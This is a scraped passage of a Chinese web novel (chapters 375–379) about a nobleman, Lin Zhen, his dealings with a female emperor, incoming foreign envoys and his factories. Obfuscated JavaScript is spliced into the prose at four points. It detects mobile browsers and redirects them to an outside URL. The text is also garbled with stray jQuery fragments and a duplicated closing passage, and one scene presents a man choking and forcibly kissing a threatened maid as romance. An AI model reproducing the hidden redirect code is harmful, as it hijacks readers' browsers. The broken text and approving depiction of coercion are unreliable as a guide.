为了准备林臻的大婚,礼部那帮人可是忙得昏头转向,上到尚书,下至侍中、员外郎,就没有一个敢偷懒的。 不管是看黄历,观星像,祭祀等等流程,全部由尚书看后亲自批准。 又有人说林臻是什么紫微星下凡,大婚当天应该用什么水沐浴,什么火祭祖,应该穿什么颜色的衣服,喝哪里产的酒,吃哪里产的饭菜。 总而言之,礼部这些天就没有一个人去上朝,都在忙活林臻这点事儿。 除了身份以外,礼部的官员也确实想通过这件事情与林臻交好。毕竟以前的礼部尚书是顾云霆的人,暗地里没少给林家下绊子,这次就是个很好的缓和机会。 于是乎礼部的人成天进出王府,指点下人什么地方应该摆放什么东西,要符合什么风水,林震仙对此是不屑一顾的。 但林臻对此却很上心。 因为他真的感觉到,冥冥之中,这个世界可能有点说法。 绝不像后世那么简单,那么的唯物主义。 也因此,林震仙说三天后大婚的事情,只能延后听从礼部的建议了。 今天是林臻要进宫谢恩的日子。 王府世子结婚,还是皇帝亲自下旨证婚,于情于理,这恩是得谢的。这无关于感情,而是传统,是礼制。 大早上林臻换了身朝服,毕竟也是有名无实的太子少保嘛,进宫谢恩当然要穿官服,否则那些本来已经闭嘴的言官又该絮絮叨叨了。 早朝散后,慕容嫣穿着凤袍,外面裹着狐裘坐在御花园里赏梅。 不时看看天色,好像在期待什么。 麝月当然知道她在想什么。 但是她不敢说,更不敢去催,只安安静静地将茶水煮了一遍又一遍。 就在此时,林臻来了。 第375章 你们都是我的玩物 也不知道为何,自从上次林臻调戏过麝月之后,这妮子就总是躲着他,很多时候就算看到了也装没看到。 偏偏她又不是那种少女的羞涩,而是刻意的疏远,这让林臻有些摸不着头脑。 今天也是如此,见林臻过来,麝月立刻将茶泡好放在桌子上,然后转身躲进护卫堆里。 林臻掀起长袍坐下,看了眼慕容嫣问道:“嫣儿,麝月这丫头怎么总躲着我啊? 那白色狐裘将慕容嫣的凤袍紧紧裹住,可即便这么厚实的衣服依旧遮不住她高高鼓起的胸脯。只见她淡笑着,葱白的手指将茶盏放下。 “还不是怕你? “怕我?我怎么她了? “上次你趁朕不在,出言调戏,以为朕不知道?慕容嫣略有玩味和挑逗地看着林臻,美眸里都是八卦。 林臻脸皮厚,属于即便被抓现行也不可能脸红的主,只见他将慕容嫣一条玉腿抱起来,放在自己腿上,随即向麝月喊道:“麝月,还不赶紧拿个大炉子过来。 麝月咬了咬下唇。 她是真怕林臻了,几乎是能躲就躲,谁知道这个死林臻居然还主动喊她! 讨厌。 麝月从太监手里接过来一个大些的碳炉,放到慕容嫣的脚边,还特意往搭在林臻腿上的那条腿下面挪了挪,随即起身要走。 林臻却再次叫住她:“站住! 麝月停下脚步,很难为情地转过身,作揖道:“世子有何吩咐? “给本世子捏捏脚。 慕容嫣轻轻拍了林臻一下,笑道:“你呀你,总捉弄人家小麝月做什么? “谁让她见着我就跑的,跪下! 麝月几乎是瞬间变得脸蛋通红。 不是冻的,不是羞的,而是气的! 这个林臻,占有了陛下和两位娘娘还嫌不够,居然还要我去伺候! 可是即便麝月有万般不愿,她也必须跪下。 在大乾,林臻才是真正的皇帝,他的命令绝对要比慕容嫣更有份量。 麝月双膝缓缓跪在冰冷的砖地上,双手捧起林臻的鞋,表情委屈都要哭出来了。 林臻忽然来了兴趣,故意把脚落实不让她抱起来。 麝月见不能把脚抱起,又疑惑地看向林臻。 “世子.抬不动。 “伺候我,有那么不情愿吗? “奴婢不敢. “不,你很敢,在这宫里我还是第一次见到像你这样不情不愿伺候主子的宫女。 见林臻要认真,慕容嫣伸出柔荑拽了拽他的衣袖,柔声道:“好啦好啦,麝月只是有些替朕抱不平而已,你就别捉弄她啦。 “抱不平?怎么?因为大婚的事情? “确实是,不过朕已经教训过她了,你别那么较真了嘛。 麝月虽然跪在地上,但嘴巴却撅得很高,一副路人看见了负心汉的样子。 好嘛,林臻也是没想到麝月居然和慕容嫣相处得这么好,这其中该不会有什么自己不知道的事情吧? 可是仔细想想,应该不会。 慕容嫣是不会背叛的,既如此,那麝月只是简单地为大婚这件事情有些不满?因为娶了上官婉儿没娶慕容嫣? 林臻俯下身,居高临下地盯着她:“麝月,我给你个机会,把你心中的不满说出来。若是说了,我既往不咎,若是不说,托出去打死喂狗! 林臻眼睛凶残的可怕。 就连慕容嫣也没敢在这个时候多嘴,而是一个劲儿地给麝月使眼色,好像在说:赶紧说啊,等死呢! 麝月踌躇半天,最后鼓起勇气望着林臻,说道:“世子偏心! “哦?林臻险些被她气笑了,“我怎么偏心了? “世子完全可以进宫成为男宠,或者以您的身份地位直接举行大婚,迎娶陛下和几位娘娘,可您却偏偏娶了个外国的世家小姐,把陛下晾在一边,难道陛下是你的玩物吗,我唔!! 麝月话还没说完,林臻瞬间出手掐住她的脖子,狠狠亲了上去! 慕容嫣无奈地遮住眼睛,其余护卫、太监、宫女也都齐刷刷的转过身去。 有个护卫还想偷看,结果被老护卫一巴掌抽在后脑勺上。 “啪! “别看,不要命了!?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15196245|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说实话,林臻好像很久都没有品尝过少女的香津了,今天一吃,还真是别有味道。 麝月大脑一片空白,任由林臻的舌头在嘴里搅弄,最后林臻松开嘴,两人的口水在空中拉出一道粘液。 林臻砸吧砸吧嘴说道:“不仅仅是你主子,连你也是我的玩物。 “去你的,没个正经!慕容嫣打情骂俏地推了林臻一下,然后对麝月说道:“还不起来,真等死啊? 麝月擦了擦嘴,眼泪不争气地掉落下来,飞也似的跑开。 慕容嫣叹了口气:“唉,你说说你,非得欺负人家小姑娘做什么,这下可好,天底下又要多了个伤心人喽。 “你这话说得又阴阳怪气又酸溜溜的 ,好歹也是皇帝,是不是该注意点影响?” “你还好意思跟朕提影响?你知不知道,你就是朕最大的影响!” “额”林臻摸了摸鼻子。 慕容嫣说的话在理啊。 现在朝臣都认为林臻和陛下有什么苟且,当然,大家谁也没证据,谁也不敢去调查。 但是茶余饭后总是会提起这件事情,说林臻动不动大半夜往宫里跑,大早上从宫里出来,还说什么林臻把后宫妃子睡了个遍。 说得有鼻子有眼的。 但是这些大家都只能在私下里说,并不敢当面说,也没有那种缺心眼敢去当面质问林臻。 就连向来腰杆硬的言官,对此也避之不及。 对此林臻心里是清楚的,大家都在等。 等慕容嫣怀孕。 然后再集体爆发声讨,然后林臻再集体让他们臣服,从此大乾就再也没有人会在这件事情上动脑筋了。 慕容无舌过来把慕容嫣腿下面的火盆搬走,又放过来一个新的。 这时,回廊尽头传来一阵铃铛般的笑声,竟是司马椿蕾和顾镇相约着来了。 两人走到近前,对林臻和慕容嫣盈盈下拜。 “臣妾参见夫君,陛下。” 好家伙,这先后顺序.林臻看了看慕容嫣,发现她脸色居然没有变化。 嘶.可以啊!这娘们现在开悟了。 第376章 煊赫门来袭 十一月寒冬纷纷扬扬的雪花如柳絮般飘洒在巍峨的宫阙之间御花园内银装素裹琼枝玉树在白雪的映衬下宛如梦幻仙境。 蜿蜒的小径早已被宫女清扫干净只留下两侧积雪堆成的精致雪丘宛如起伏的白色山峦。 林臻看着眼前司马椿蕾与顾镇并肩而立。 两人皆身着狐裘凤袍那狐裘毛色纯正柔软顺滑领口与袖口处精致的刺绣在雪光下若隐若现每一针每一线都勾勒出皇家独有的奢华。 忽然林臻发现她们身上的凤袍款式与慕容嫣的几乎一样却又有着细微差别。 慕容嫣的凤袍拖尾修长拖地仿若一条流淌的金色星河后摆上一只金凤振翅欲飞栩栩如生前身上更有一只金凰蜿蜒缠绕凰首亲昵地依偎在领口周身镶嵌的宝石与金线在日光下闪烁着璀璨光芒彰显着至高无上的皇权。 相较之下 亭旁的红梅傲雪绽放点点殷红与三女的美貌相映成趣。 林臻嘴角上扬轻声问道:“你们怎么来了?” 司马椿蕾抬手轻轻拂去肩头的落雪目光始终胶着在林臻身上:“是陛下叫我们过来的。” 慕容嫣的凤眸微微弯起莞尔一笑接过话茬:“你今天是来宫里谢恩的不过朕觉得倒不如吃顿团圆饭。毕竟你的大婚我们可能没办法参加了。” 说到这慕容嫣微微有些落寞。 身为帝王拥有无上权力却不能堂堂正正地嫁给心爱之人。 所以她才会嫉妒上官婉儿。 那个连林臻面都没见过的女人居然可以成为他的正妻。 林臻抱着双肩显得有些漫不经心:“该参加就参加嘛王府世子结婚你身为陛下出席也算给王府颜面是正常的。至于椿儿和缜儿都可以陪伴上官婉儿出席婚礼。” 司马椿蕾听闻此言眼中瞬间迸发出惊喜的光芒。 她真的很想参加林臻的婚礼但又不敢主动提出。 如今林臻自己说出来她当然会很开心。 司马椿蕾情不自禁地双手交握置于胸前身子微微前倾急切地说道:“夫君真的可以吗?臣妾真的很想” 话到嘴边又似意识到不妥脸颊愈发滚烫忙垂下眼帘掩饰眼中的热切。 “当然可以啊。”林臻站起身,却见慕容嫣依旧眼神躲闪,于是说道:“嫣儿,你不用太过在乎群臣的议论,如果你也想来参加婚礼,只需适当安排即可。” 亭外的寒风呼啸而过,吹起众人衣角,却吹不散慕容嫣心中的苦闷。 林臻微微仰头,目光透过亭檐望向铅灰色的天空,片刻后,他缓声道:“又了,不如嫣儿就以赏赐之名,遣几位信任的宫人代您出席大婚,椿儿和缜儿陪同,等晚宴快散的时候,您再变装出席,这样既全了情谊,又不违礼制,百官那边也无可指摘。” 慕容嫣美目流转。 林臻的提议让她有些心动。 她微微点头,轻声道:“好主意!就这么办!” “好耶!这皇宫里呆着沉闷,终于有点乐呵事儿了!” 就在三女沉浸在快乐之中时,一阵急促的脚步声传来。 只见慕容无舌身着一袭暗灰色的太监服,腰间束着的腰带随着他匆忙的脚步微微晃动,他弓着身,脚步急促,神色间满是焦急,匆匆忙忙地从回廊一头直奔而入。 林臻看见他慌张,自己却是气定神闲。 不用说,这老头能有这样的脸色,肯定就是出事了。 不过他不慌,军权在手,天下我有。 任何敢跳梁的都是小丑。 慕容嫣头戴凤冠,把身上的狐裘敞开写,刻意露出彰显身份的凤袍。 “夫君。” 林臻一摆手,示意她别说话。 很快,慕容无舌一路疾行,待到了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201982|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人面前,猛地收住脚步,战战兢兢地低着头。 他双唇嗫嚅,欲言又止,额头上豆大的汗珠滚落,溅落在石板路上。 林臻剑眉一挑,目光落在慕容无舌身上,见他这般模样,便轻轻摆了摆手,温和笑道:“无舌,莫要慌张,有何事但说无妨。” 声音宛如清泉击石,在这御花园中悠悠回荡。 慕容无舌听闻此言,这才稍稍稳住心神,他咽了口唾沫,抬起头,用带着几分颤抖的声音说道:“启禀陛下,世子,鸿胪寺卿刚刚传话过来,说是进驻在大乾的六国使节,于方才齐齐向鸿胪寺递交了信件。” 他顿了顿,偷偷抬眼瞧了瞧慕容嫣与林臻的脸色,见二人神色开始凝重,忙又接着道,“信中言明,下个月六国将会有使团同时前来大乾,说是要拜见陛下。” 慕容嫣原本悠然的神色瞬间一紧,下意识地伸手握住了林臻的手,那柔若无骨的小手此刻竟微微泛凉,她美目流转,看向林臻,朱唇轻启:“夫君,六国使臣同时进京,此事来得蹊跷,你怎么看?” 话语中带着几分忧心与疑惑。 林臻嘴角噙着一抹淡淡的笑意,侧过头望向慕容嫣,眼眸的深意让人捉摸不透。 “不要慌,用你帝王的心好好思考一下。” 慕容嫣微微蹙起黛眉,那张美得令人窒息的脸庞上闪过一丝疑惑,沉吟片刻后,轻声呢喃道:“莫不是他们听闻朕乃女儿身,特此前来一探究竟?或者是,趁机挖苦?” 她心中清楚,自己向外表露真实身份,本就饱受争议,很可能其余国家都在看自己笑话,这次更是集体过来,肯定没有好事儿。 林臻微微点头,目光中透着几分深邃,缓声道:“有这个可能,还有呢?” 林臻好像在刻意引导慕容嫣。 慕容嫣瞬间陷入沉思,想了半晌,这才说道:“难道是煊赫门?” 第377章 劳动人民最光荣 “对!这才是他们的根本目的。”林臻打了个响指“我早就猜到韩天星对她女儿的事情不会放弃所以我一直在等他们发难。但是我很失望因为我的等待只换来了那些小打小闹。如今他们终于开始正式宣战了居然调动六国使团集体来大乾。” “呵呵呵呵。”林臻笑了笑“他们太看得起自己了难道他们以为大乾还是以前的大乾吗?” 看到林臻脸上那笃定的笑容慕容嫣莫名的有一阵心安。 真好啊。 她现在十分庆幸当初的决定否则自己现在一定会很难堪甚至会不知道该怎么办。 但只要有这个男人在什么困难都不叫事儿。 “夫君你打算怎么办?” 慕容嫣、司马椿蕾和顾镇都是满眼小星星的看着林臻。 说实话这样运筹帷幄之中决胜千里之外的男人没有哪个女人会不喜欢。 林臻说道:“不慌他们不过是利用国家的影响力想从我大乾身上割肉罢了放心吧。如今南楚刚刚大败我乾国兵峰正盛没有国家敢在这个时候触霉头。顶多就是嘴上占占便宜而已。” 听到这慕容嫣多了几分信心冷笑道:“呵煊赫门想通过别国向朕的大乾施压这如意算盘打错了。” “对韩天星现在根本就不知道大乾究竟是什么样子 “夫君。”慕容嫣情不自禁地再次握住林臻的手“那朕该做些什么?” “做什么?呵先把你龙椅换了换成凤椅。脑袋上的凤冠也重新打造弄得奢华点宝石起码得有二十颗而且必须是金的你若有闲钱就把前门修饰修饰。” 慕容嫣不解。 “为什么?这个节骨眼难道不是要留着钱准备打仗吗?” “我们打仗根本就不需要钱。再者在我心中你的美丽要比六国使臣的突然发难更加重要。” “去!没个正经~”慕容嫣一把松开林臻的手翻个白眼。 那风情万种的样子很林臻很是痴迷。 林臻笑着说:“我说的是真的既然他们要用你女子的身份来挑衅那我们就把女子称帝的气派做足了。告诉全世界女子如男女子也可以当皇帝女子能顶半边天!” “女子能顶半边天”三女都细细琢磨着这句话片刻后对林 臻更是崇拜不已。 这得是多正派的男人才能说出来的话啊! 从古至今,别说是上位者还是普通人,哪个男人会说出这样的话? 哪个男人会这么尊重女性!? 林臻,也只有林臻。 这就是我们看上的女人! 司马椿蕾感动得热泪盈眶,直接在林臻脚边跪了下去,上半身趴在他的大腿上,任由那胸脯挤压变形。 “夫君.臣妾,臣妾.” 慕容嫣笑着点了点司马椿蕾的脑门,说道:“没出息,我们首先是夫君的女人,所以才这么厉害的。” “嗯!!”司马椿蕾重重点头,就连顾镇也是抿着嘴,红着眼睛。 望向林臻的眼眸里,都是爱意。 林臻与三位妻妾吃了顿团圆饭,又谢了恩便离开皇宫回王府。 现在的日子虽然看起来不忙,实则林臻每天都有很多事情要处理。 首先就是武清开发区的事情。 林臻本打算把开发区的一应大小事情都交给工部宋正林来办,但那个老家伙却说开发区生产的都是新鲜玩意,他不懂,就算暂为管理也需要林臻来拍板,否则出了事情概不负责。 这个能杀子存义的老顽固林臻是一点办法也没有,逼又不能逼,说又说不听。 所以林臻只好每天对武清开发区的事情亲自指导。 今天送来的信件很急,是芦德豪亲笔信。 没错,芦德豪在大婚后已经带着老婆侯玲去武清赴任了,挂工部所正,从七品官职。 这小子虽然好色,又没什么正经,但对开发区的管理、销售与生产等等事情学习得很快,现在已经快成为行家了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201983|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 就像水泥窑的生产,芦德豪居然能在信中体现出对水泥窑的改进与扩建办法,与人员的管理规定是否合理,是否符合林臻的计划等等,将一系列问题整理成册,统一汇报。 林臻看得心惊肉跳。 因为水泥窑里有几个工人已经得了肺痨。 这是他疏忽了,只想着加大产能,却忘记给劳工配口罩,导致他们吸入大量粉尘。 林臻立刻下批示,所有在水泥窑里干活的劳工都必须佩戴猪嘴。 猪嘴就是防毒面具,但比后世的防毒面具要简陋一些。不过只要在猪嘴后面再加上一道面罩,就可以有效隔绝粉尘对身份的伤害。 林臻还特意标红,说这件事情必须要落实到位,但凡抓到一个不带猪嘴进水泥窑的,立刻辞退,永不录用。 现在开发区就是武清县的摇钱树,也是百姓心目中最好的工作单位。 因为只要进开发区,不管你干什么,每个月都有五百文钱可以赚,供吃供住,还给提供工服。 这么好的待遇他们这辈子都没听过。 至于三班倒的安排四个时辰也叫班吗? 那他妈叫福利。 就这待遇,一天干十个时辰都不多。 还有就是关于得肺痨员工的安置问题。 林臻对待自己员工从来都不抠门,大笔一挥,那三名劳工从此家里不交田地税,粮食税,另额外赏赐良田三十亩,银一百,耕牛两头,他们的孩子可以在当地接受教育,费用由当地县里出。 这人还没死呢,就有这么好的待遇。 林臻相信,只要这道命令发下去,必定会让所有人干劲倍增,每天拼了命地干活。 因为他们完全没有了后顾之忧,即便累死在工位上,那也是为了老婆孩子谋福利,为了支援世界革命。 林臻的目标就是让所有工厂里的工人,都能像解放初期的时候那样,洋溢着笑脸,对着镜头说上一句:“我不累,我们劳动人民最光荣。” 第378章 青竹要当我祖奶奶? 当然,梦想也是需要一步一步实现的,林臻打算就从提高普通劳工的福利开始。 现在大乾正处于高速发展的时期,很多地方的基础建设都需要材料,所以三班倒的政策不能改,但可以在这个基础上增加员工的待遇。 就比方说每顿饭都得有肉有菜,有干饭,而且不限量吃,但是不能打包,不能浪费。 打包的口子如果放开,那林臻估计就得白养活几十万人,所以他就下令采取自助餐的形式。 相信这道命令一下,那些工人将更加努力干活。 其实让员工提高工作效率是很简单的事情,只要提高员工的福利与薪资,那员工肯定就会更加珍惜这份工作,从而好好干活,只可惜很多老板不懂这个道理,或者说很多老板太过抠门,只想着自己。 林臻是资本家没错,但他不是个吸人血的资本家,因为他不光有钱,他的一举一动每一个命令都代表着朝廷。 百姓相信林臻,就等于相信朝廷,这样大乾的中央凝聚力才会更高,百姓更加团结。 有这个做底牌,林臻不惧怕任何国家的入侵,因为大乾的百姓会跟他们玩命。 芦德豪治理下的武清开发区确实是蒸蒸日上,不光是各种工厂火热生产,还有造船厂。 那个林臻灵机一动之下决定修建的造船厂,已经按照图纸顺利做出来龙骨了,但还缺乏实验,不敢冒然继续打造。 这件事情也需要问林臻。 林臻想了想便做下批示。 因为对大海的开发不着急,所以林臻没有选择立刻组装,而是先测试龙骨的稳定性,于是他写下详细的测试方法,并且说明,一定要等测试合格才能继续安装其他部件。 整艘船都是林臻亲手设计的,但他不是专业的造船专家,内部很多东西都是凭借记忆去做的,所以必须要有全面的、安全的测试,这不仅是对人命的尊重,也是节约材料。 除了造船厂还有开发区里面的各种工厂,像水泥厂,砖厂,冶铁厂等,林臻都做出细化的指示,然后将信塞入信封,封上火漆,让侯春派人送出去。 武清的事情处理完,就要处理东北的事情。 当初林臻计划得很好,想用十年时间将东北开发出来。 可现实却狠狠抽了他一巴掌。 现在是冬天,连京城都这么冷就别说东北了,大地冰封,万里雪飘。 而现在又没有成熟的棉花可以用,虽然之前林臻命张俪从蛮蒙那边收羊毛,但是轧毛机现在还没做出来,羊毛 没办法纺织成线,也就没办法穿在身上,导致现在不管是去东北挖矿的俘虏还是准备迎接好生活的百姓,都冻麻了。 有条件的裹层兽皮,没条件的就猫在炕头,连屋门都不敢出去。 甚至在宁古塔那边已经发生了很多冻死人的事件。 这些林臻以前都不知道,现在知道了就得管,不能让百姓冻饿而死,更何况这些百姓还是他忽悠过去的。 没办法,先救人。 林臻大笔一挥,将楚国岁供的粮食由王铁男亲自运到东北,分发给百姓,并且鼓励百姓上山砍树烧火取暖,村里还要组织狩猎队伍,统一进山打猎。 甭管是什么动物,只要干掉就可以拿回去吃,像那些好的东西,例如虎鞭、鹿茸什么的,可以送到京城里卖,以换取粮食。 至于环保不环保的,林臻就不管不了了,还是以人为先。21世纪那么多动物都没了,也没见世界毁灭。 而之所以派王铁男,而不是更熟悉那边环境的胖子,是担心胖子惹祸。 他脾气太差了,除了林臻谁都不放在眼里,动不动喊打喊杀的。 这次救援代表的是朝廷,绝不能出一丁点差错,所以说还是让他老爹去比较好,起码他老爹不喜欢屠杀。 至于那些南楚的倒霉蛋,林臻也想了个办法,那就是由他出资出粮,再让他们自己想办法盖房子烧火取暖。因为是俘虏,所以待遇不能不可能和百姓一样。 百姓可以老婆孩子热炕头,朝廷养着,但是他们需要下井 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15205738|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续干活,不干活就没有饭吃。 等熬过这个冬天,轧棉机、轧毛机也就做出来了,到时候有了御寒的东西,百姓就不至于冻饿而死。 批示到这里,林臻头疼地揉了揉太阳穴。 本想休息几天体验体验安稳王爷的生活,谁知道这事情比打仗的时候还多,还杂。 浣碧推门进来,手里端着安神茶,安安静静地放在桌子上,一句话也没说。 林臻抬眼望向她,心中涌起一股暖流。 什么叫贤妻?这就是榜样。 在你最需要安慰的时候安慰你,不该打扰的时候就不打扰你,情绪稳定,一心向你。 好在这种生活没有被女拳师看到,否则肯定又要说林臻剥夺女性自由。 “碧儿。”林臻喊道。 浣碧回眸一笑:“夫君,怎么啦?” “我”林臻却发现自己不知道应该说些什么,“没事,你去忙吧。” 浣碧走过来直接绕到林臻身后,双手扶住他的太阳穴轻轻揉捏起来,笑着说:“夫君是有些心烦了吧?手底下也没个能用的人帮忙,什么事情都要亲力亲为。” “唉,说的就是。”林臻闭上眼睛享受着,同时叹了口气。 “那妾身给您讲讲府里的事情,转移下注意力,也省得一直工作烦心。”浣碧也不问林臻是不是想听,直接继续往下讲。 “青竹您还记得吧?自从上次您把她带回来后,她便一直在王爷那边干活,前几天我听林大拿说,王爷好像对青竹很有意思呢?” 林臻眼皮子一跳:“有意思?有什么意思?该不会是王爷喜欢上她了吧?” 妈妈咪啊,青竹要当我祖奶奶了? 浣碧笑着说:“好像是这个意思,青竹现在已经是王爷身边的大丫鬟了,了解王爷的口味,知道王爷的习惯,王爷很喜欢她。” “他们俩没发生什么吧?” “瞧您说的,王爷岂是那种人?只是奴婢觉得青竹父母惨死,心里肯定有气,就这么放在家里恐怕不安全呢。” 第379章 林安纳妾 “你具体说说,老爷子怎么就喜欢青竹了?” 林臻绝对不能接受这样的事实。 如果说老爷子喜欢上了某个良家姑娘,想晚年有个伴,这林臻可以理解,甚至还会支持。 但这个人绝不能是青竹啊。 不是林臻对青竹有什么意见,而是两人根本就不搭。 浣碧笑着拿起茶盏递给林臻,再次按揉太阳穴,笑道:“嘻嘻嘻,就知道夫君肯定好奇。昨天的时候,王爷去后湖散步,青竹就始终跟在身边,围着王爷叽叽喳喳地说个不停,王爷脸上始终洋溢着笑脸。青竹故意去冰面上玩,结果不小心要摔倒,王爷飞也似的扑了上去,一把将她接住!那姿势,暧昧得紧呢。” 林臻有些不淡定了。 林震仙难道真的要老来开花?这万一生出个一岁的弟弟来可怎么办?和我分家产啊? 林臻倒不是小心眼的人,问题是青竹这个姑娘不合适啊,首先她是奴婢,其次她有着非常凄惨的经历,嫁给自己绰绰有余,怎么能嫁给林震仙呢? 不对,不可能! 以老爷子的性格是绝不会对不起亡妻的,这应该是演戏!或者说是青竹故意演给自己的看,就是想吸引自己的注意力。 一定是这样。 想到这,林臻又惬意很多,淡笑着靠在浣碧怀里,安静地享受着她柔弱手指的按摩。 浣碧见林臻紧张过后又变得不是很上心,便晓得他已经有了应对之法,索性不在这个话题上纠缠,继续叽叽喳喳地说着。 “大管家林安前几天纳了一房小妾,妾身听了之后觉得很新奇,于是和晴雯她们结伴去看。管家还有些不好意思呢,支支吾吾解释半天,说什么不是他好色,而是心善。侯春他们都不信,一个劲儿地打趣,管家这才好生解释一番。您猜怎么的?这个小妾居然是她妻子的妹妹!没错,就是亲妹妹。” “呵。”林臻笑道:“这老林也算抱得姐妹花了。” “才不是呢,听管家说,他妹夫前几天过世了,妹妹又没有孩子,自己孤苦一人。管家是看不得妻妹自己受苦,于是才纳了进来,当天晚上从后门抬进去的,很多小厮丫鬟随了份子钱。” “原来是这样,难怪,我就说老林怎么看都不像个色鬼嘛。” 这也就是现在条件好了,王府不缺吃穿,若是以前那个穷酸样子,老林打死也不会把妻妹接进来的。 话又说回来,当年的摄政王府怎么就这么穷酸呢?难道真的因为林震仙清高么?好像没那么简单。 林臻懒得去想这些事情,林安纳了房小妾,是好事儿,估计林震仙也很高兴。 尤其是这样的原因,林震仙肯定对他更为赞赏。 浣碧又说了很多关于王府内院的趣事,像不懂事的小厮毛毛躁躁地闯入了上官婉儿的别院,结果被他们的家丁打了一顿,上官婉儿还亲口说,以后再没有规矩就打断腿。 这是个守传统的女人,任何不守规矩的人都会被责罚,真不知道以后像晴雯、刘妙颜、青霞这样的小妾,该怎么和她相处。 但林臻估摸着,以刘妙颜的性格,是绝不会向上官婉儿低头的,晴雯还好些。 自从她有了身孕之后,性格在一点点地变好,也不欺负人了,也不毒蛇了,甚至得空就坐下给孩子绣肚兜、襁褓,美其名曰,为孩子积福。 刘妙颜是个闲不住的主,几次跟林臻提起要跟着陈宵去代县当土匪,林臻都拒绝了。 不是担心陈宵对她做什么,说实话,两人真动起手来,陈宵是打不过刘妙颜的。 林臻在意的,刘妙颜毕竟是自己内人,在代县那个风沙大的地方恪守边关,他有些舍不得。 可总圈起来也不是个事儿啊,为此林臻很是头疼。 他问到:“颜颜最近呢?” “颜颜姐和来福玩呢,最近府里忙着您大婚的事情,也没有人陪她,她就带着来福出城进山,昨天刚去,今天还没回来。” “唉,得给颜颜找点事情做呀,要不然她非憋坏了不可。” “妾身也这么觉得,只是现在天下太平,总不能找茬跟别国打仗吧。” “有了!”林臻眼睛一亮。 他想起,自己现在力气大得惊人,但是却没有像样的武功,以后就让刘妙颜教自己练武! 以她的功底加上自己的力量,不需要多久就能成为大乾第一武将! 想想林臻就有些兴奋,恨不得现在就派人把刘妙颜叫回来。 “等颜颜回来你告诉我,我给她安排个好活计。” “嗯,但是世子,晴雯肚子越来越大了,恐怕已经不能再去车马行了,要不您再派个人去?” 林臻一拍脑门。 浣碧不说自己永远也想不起来。 “这妮子还往车马行里跑呢?” “对呀,王爷也劝过,但是晴雯的性子您也知道,您不说话,她哪里会同意?毕竟她可是总是把‘以色侍人,如何长久’挂在嘴边呢,她一直想为您做点什么。” “那也不能天天出去啊,这天寒地冻地,万一摔一跟头,王府还不炸锅了。” 林臻都不敢想象,如果晴雯孩子掉了,她会受到什么伤害,更不敢想她会受到什么打击。 不行,这必须得保护起来。 现在晴雯和青霞就是王府重点保护对象,不能出任何差池。 甚至林震仙为了抱重孙子都亲自出马了,一旦出现问题,必定引起大乾震动。 “碧儿,等晴雯回来你就告诉她,不要再去车马行了,让她委派一个信得过的手下先打理着,等分娩之后再说。” “是,妾身知道了。” “世子!”书房的门被推开,侯春从外面走进来,双手抱拳,说道:“启禀世子,韩国使者,在府外求见。” “韩国使者?” 林臻低下头。 自己与韩国的任何事情都没有往来,这韩国驻大乾使者,怎么会来突然来自己府上呢? 难不成是煊赫门? 仔细想想也就是煊赫门最有嫌疑,不过没关系,先听听他怎么说。 “让他进来。不过.不要走正道。” 侯春神色一凛,表情有些凶狠地说道:“末将遵命。” ” 林臻懒得去想这些事情,林安纳了房小妾,是好事儿,估计林震仙也很高兴。 尤其是这样的原因,林震仙肯定对他更为赞赏。 浣碧又说了很多关于王府内院的趣事,像不懂事的小厮毛毛躁躁地闯入了上官婉儿的别院,结果被他们的家丁打了一顿,上官婉儿还亲口说,以后再没有规矩就打断腿。 这是个守传统的女人,任何不守规矩的人都会被责罚,真不知道以后像晴雯、刘妙颜、青霞这样的小妾,该怎么和她相处。 但林臻估摸着,以刘妙颜的性格,是绝不会向上官婉儿低头的,晴雯还好些。 自从她有了身孕之后,性格在一点点地变好,也不欺负人了,也不毒蛇了,甚至得空就坐下给孩子绣肚兜、襁褓,美其名曰,为孩子积福。 刘妙颜是个闲不住的主,几次跟林臻提起要跟着陈宵去代县当土匪,林臻都拒绝了。 